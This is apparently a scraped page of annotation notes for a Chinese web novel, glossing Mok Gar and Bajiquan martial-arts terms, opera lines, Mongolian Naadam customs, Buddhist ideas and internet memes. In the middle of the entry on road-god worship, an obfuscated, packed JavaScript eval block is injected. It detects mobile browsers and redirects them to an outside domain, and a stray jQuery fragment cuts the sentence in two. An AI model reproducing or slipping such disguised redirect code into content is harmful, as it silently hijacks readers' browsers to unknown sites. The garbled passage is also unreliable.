浮光跃金（二十一）


    [1]鲤鱼打挺


    ——地趟拳招式


    [2]斜身肩半吊马


    ——广东莫家拳拳法特点


    [3]这女子们，哪一点不如儿男


    ——豫剧《花木兰》选段


    [4]南拳名家派别


    [5]授人以鱼不如授人以渔


    [6]六度阴阳掌


    ——广东莫家拳原称


    [7]发于防身、立于健身、搏于赛场、习于日常、载于武艺、归于武德。


    ——广东莫家拳文化内涵


    浮光跃金（二十二）


    [1]拳行如虎势，脚踢似龙威。身灵步活力，长短劲俱齐。


    ——莫家拳歌诀


    [2]龙虎棍、鸣州棍、钓鱼棒、齐眉棍、盘龙棍、莫家大钯。


    ——莫家拳棍法类器械套路


    [3]杜丽娘


    ——戏曲《牡丹亭》女主人公


    [4]柳梦梅


    ——戏曲《牡丹亭》男主人公


    [5]原来姹紫嫣红开遍，似这般都付与断井颓垣，良辰美景奈何天。


    ——戏曲《牡丹亭·游园》《皂罗袍》选段


    [6]《惊梦》


    ——戏曲《牡丹亭》选段


    浮光跃金（二十三）


    [1]火岗村（现名伙岗村）


    ——广东莫家拳发源地


    [2]桥头镇大洲村、石水口村、岭厦村


    ——莫氏三村（莫家拳）


    [3]【听竹】【丢沙包】【盘石】【缚沙】【破棉】【木人巷】


    均改编自广东莫家拳练习过程：


    第一年练习拉单枝茅竹，用四尺长的大茅竹，在上端入第二节开一小孔，放三个小铜钱在竹筒内，下端入地90公分，用沙土或水泥固定便可完成。练习打单枝竹，能增强手指力，和上下肢肌肉与骨骼的抵抗能力，使肌肉结实，骨质增厚、硬度等。都有良好的效果。


    第二年练习抛沙包（约3~5公斤）主要锻炼眼明手快、准确有力，对加强指、腕、臂力、都有良好作用。


    第三年练习抛举石锁（15公斤~20公斤）主要是练行马步。抛举石锁的目的，在于发展全身力量为。动作有单手上举、双手上举、前平举、侧平举、抛接动作、旋转摆动，做手倒立和劈叉动作等。


    第四年腰部缠沙腰带（20~30公斤）进行负重练习，以增强腿部力量与弹跳力，对提高身体素质很有帮助。


    第五年打大沙包（80~100公斤）其目的使身体获得全面训练，如手力、腰力、腿力的提高有良好的效果。


    第六年打莫家木人桩，是编成拳谱进行练习的，手足并用联合动作。


    浮光跃金（二十四）


    [1]小胜靠智，大胜靠德。


    ——出自南朝宋刘义庆所著《世说新语》


    [2]欲先取之，必先予之。


    ——老子《道德经》


    [3]能变则存，不变则亡。


    ——戊戌变法，康有为上清光绪皇帝第五书


    [4]一腿胜三拳，手长尺七，脚长三尺，放长攻出，凌空飞踢，拳重百两，脚重千斤力。


    ——广东莫家拳特点


    [5]具有鲜明的岭南特色和朴实大方的南拳风格，却以腿法见称。因战阵所需，招式狠辣，动辄取人性命。其后族人拳术也多用于军阵之中，因此狡诈多变，为性命相搏之利器。


    ——广东莫家拳特点


    浮光跃金（二十五）


    [1]取乎其上, 得乎其中；取乎其中, 得乎其下；取乎其下, 则无所得矣。


    ——《论语》


    [2]出尘标格，和月最温柔。


    ——宋代柳永《满庭芳·茉莉花》


    [3]《长生殿》


    ——清代戏剧家洪升（即洪昇）创作的昆剧作品


    [4]《窦娥冤》


    ——元代戏曲家关汉卿的杂剧代表作


    [5]《西厢记》


    ——元代王实甫创作杂剧，全称《崔莺莺待月西厢记》


    [6]《女驸马》


    ——黄梅戏经典剧目，改编自黄梅戏传统剧《双救主》


    [7]《梁祝》


    ——越剧传统曲目，改编自中国古代民间四大爱情故事之一《梁山伯与祝英台》


    浮光跃金（二十六）


    [1]八极


    最早见于《庄子·田子方》与《淮南子·原道训》，意为八方最远之地。


    [2]归元


    释义1：归还人头。语出《左传·僖公三十三年》：“﹝先軫﹞免胄入狄师，死焉。狄人归其元，面如生。”


    释义2：佛教语。归真。谓超出生灭界，还归于真寂、本元。


    释义3：中医学用语。谓病体康复。 《医宗金鉴·张仲景〈伤寒论·太阳病中〉》“旅复代赭石汤方”方解引罗天益曰：“此胃虚气失升降之法，復用此法理之，则胸中转否为泰。其为归元固下之法。”


    [3]拳似流星眼似电，腰如蛇形脚如钻……阴阳虚实急变化，命意源泉在腰间。


    ——八极拳拳诀


    [4]忠肝义胆以身做盾舍身无我临危当先


    ——八极拳精神十六字诀


    [5]《纪效新书》


    ——明朝戚继光著，以军事训练为主要内容的著名兵书


    [6]寸截寸拿，硬打硬开


    ——八极拳技击手法


    [7]人皆养子望聪明，我被聪明误一生。惟愿孩儿愚且鲁，无灾无难到公卿。


    ——苏轼《洗儿诗》


    [8]十字劲


    ——八极拳的核心劲力


    [9]降龙（五岳朝天锥）


    ——金刚八势之一，八极拳基本开门练法


    [10]劈山掌（劈山斧加钢）


    ——金刚八势之一，八极拳基本开门练法


    [11]劈挂掌


    古称披挂拳，亦名抹面拳，因多用掌，故而又称劈挂掌。


    [12]行步如趟泥，脚不过膝。


    ——八极拳步法特点


    浮光跃金（二十七）


    [1]它那飘飘欲舞的轻美长鬃……无疑是一匹举世无双的宝马


    ——蒙古族赞词


    [2]金鹿再快，难步你的后尘。黄羊再速，不能与你并肩。奔驰的地方清泉喷涌，翻身的地方红花开遍。五雄的神力萃于你一身，万马的盛会你遥遥领先。


    ——鄂尔多斯蒙古族《骏马赞》


    [3]青萍剑


    青萍剑乃是与太乙拂尘、三宝玉如意共为太、玉、上三清，阐、截、人三教一体同源之象征；剑长三尺六寸五分，剑身与剑鞘通体皂黑，有青色莲花覆绕其上；出自《封神演义》，后经洪荒流小说加工将其描述为天道圣人通天教主执掌。


    [4]那达慕大会


    那达慕大会是内蒙、甘肃、青海、新疆的蒙古族人民一年一度的传统节日，在每年公历6月23日举行，为期一至三天。


    [5]赛马


    蒙古族三大运动之一。


    赛马项目包括：1.快马赛，主要比马的速度，一般为直线赛跑，赛程一般为20、30、40公里，先达终点为胜；2.走马赛，主要是比赛马步伐的稳健与轻快；3.颠马赛，是蒙古族特有的马上竞技表演项目。


    [6]奔马赛


    奔马赛，也称“快马赛”“速度赛马”，长距离的速度比赛，是一种毅力性赛马。


    传统的赛奔马为了减轻马的负荷，都不备鞍，骑手多为少年儿童，轻装上阵。


    参加奔马赛的骏马一般较多，少则数十，多则逾百。奔马赛，不计时，不论马的年龄，没有固定的场地跑道，一般都不分组，赛程一般在20至50公里之间，最先到达终点者为胜。


    [7]摔跤


    搏克是蒙古族传统的体育娱乐活动之一，草原上的人们把蒙古式摔跤称作“搏克”（蒙语结实、团结、持久的意思）。它是蒙古族三大运动（摔跤、赛马、射箭）之首。


    [8]嘎查长


    嘎查源于蒙古语，原指牧民群聚的“艾勒”（集体），后演变为行政村。嘎查长即该行政村的负责人，相当于内地“村长”。


    [9]祭火神


    蒙古民族最古老的祭祀活动之一。


    蒙古民族认为火是纯洁的象征和神灵的化身，灶火是民族、部落和家庭的保护神，可赐予人们幸福和财富，也是人丁兴旺、传宗接代的源泉。


    古代蒙古族萨满教巫师认为火与火神可以驱逐各种妖魔与邪恶，医治疾病，施恩惠于人类。由此也可以说蒙古民族的祭火是原始宗教信仰的一种遗俗。


    [10]祭路神


    原来是在辽阔的草原上人们用石头堆成的道路和境界的标志，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15719439|131097||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    后来逐步演变成祭山神、路神和祈祷丰收、家人幸福平安的象征。


    浮光跃金（二十八）


    [1]凡参加“那达幕”的摔跤手都有奖。历史上，大型“那达幕”的摔跤冠军曾获得过9种81件奖品，因而声名远扬，荣耀异常。


    [2]原无乡服装设计原型


    按蒙古族传统要求，摔跤比赛的参赛选手上身穿牛皮或帆布制成的“卓得戈”（紧身半袖坎肩），裸臂盖背，“卓得戈”边沿镶有铜钉或银钉，后背中间有圆形的银镜或“吉祥”之类样字，腰间系用红、蓝、黄三色绸子做的“策日布格”（围裙），下身穿用32尺或16尺白布做成的肥大“班泽勒”（裤），“班泽勒”外套一条绣有各种动物或花卉图案的套裤，脚蹬蒙古靴或马靴。


    [3]将嘎


    摔跤比赛优胜者脖颈上配套五色彩绸制成的“将嘎”（项圈）。它是搏克手获胜次数多少的标志，获胜次数越多，“将嘎”上的五色彩绸条也越多。


    [4]蒙古族摔跤比赛精神


    搏克的大众性体现在对待参加者的资格要求上，不分年龄，地位、民族、地域和运动经历，只要在额满之前报名都可下场参加比赛，而且规则面前，人人平等。


    [5]我以前是同性恋，后来喝中药调理好了


    网络热梗


    [6]中药换成冰美式


    网络热梗：喝中药调理同性恋，换成冰美式＝药效没有用


    [7]我与君若同遇过烟雨便有缘……但跟你还尚有天眷


    ——歌曲《千里》


    [8]一霎烟花声四起，满城商铺祭财神。


    ——宋代南乔《西江月·步韵》


    浮光跃金（二十九）


    [1]海阔凭鱼跃，天高任鸟飞。


    汉语俗语，比喻在广阔天地里，人们可以自由施展才能。


    [2]南无加特林菩萨


    网络热梗


    来自一张图，图上是一位菩萨提着加特林，并且因为许多菩萨的称号都是南无xxx菩萨，所以这张图被广大网友们戏称为南无加特林菩萨。


    [3]三身佛


    即法身、报身、应身三种佛身。一佛具三身之功德性能，所以三身即一佛。


    [4]法身佛（毗卢遮那佛）


    代表佛教真理（佛法）凝聚所成的佛身。法身佛代表佛陀的本质身体，无形无相，超越了一切形相和界限。


    [5]报身佛（卢舍那佛）


    经过修习得到佛果，享有佛国（净土）之身。报身佛是指佛陀在佛国的身体化身。


    [6]应身佛（又称化身佛，即释迦牟尼佛）


    指佛为超度众生、随缘应机而呈现的各种化身。


    [7]报身


    顾名思义就是报应所得之身；例如人、天人、动物等，这些都是不同的报应身。


    [8]佛氏门中，有求必应。


    佛教中的一种理念，鼓励信众以真诚、清净的心态去祈求，同时也要理解佛法的真谛，通过修行和积德行善来达到内心的平静和满足。


    [9]何以致契阔？绕腕双跳脱。


    ——汉末繁钦《定情诗》


    [10]佛门无神，唯有众生平等。


    佛教中的一种理念，佛教是无神论，否认独一无二、绝对至上、掌握人的命运的神。


    [11]佛是过去的众生，众生是未来的佛。


    佛教理念


    [12]一切众生皆有佛性，人人都可以修行成佛。


    佛教理念


    浮光跃金（三十）


    [1]大哥你是了解我的。


    网络热梗，出自电影《让子弹飞》


    [2]你真是饿了，什么都吃得下。


    网络热梗，出自电视剧《如果奔跑是我的人生》


    [3]莫达士


    据传为广东莫家拳创始人


    [4]达士


    释义1：见识高超、不同于流俗的人。释义2：太平天国称进士为达士。


    [5]生存要靠自己


    《霹雳布袋戏》说太岁口白


    [6]为什么你会这么熟练啊？


    网络热梗，出自动漫《白色相簿2》


    [7]中华武道


    以武为修行，为追求真理的第一途径。


    [8]中华武道精神


    以武止伐，平息干戈，从矛盾争斗中找到互助统一的最终目标。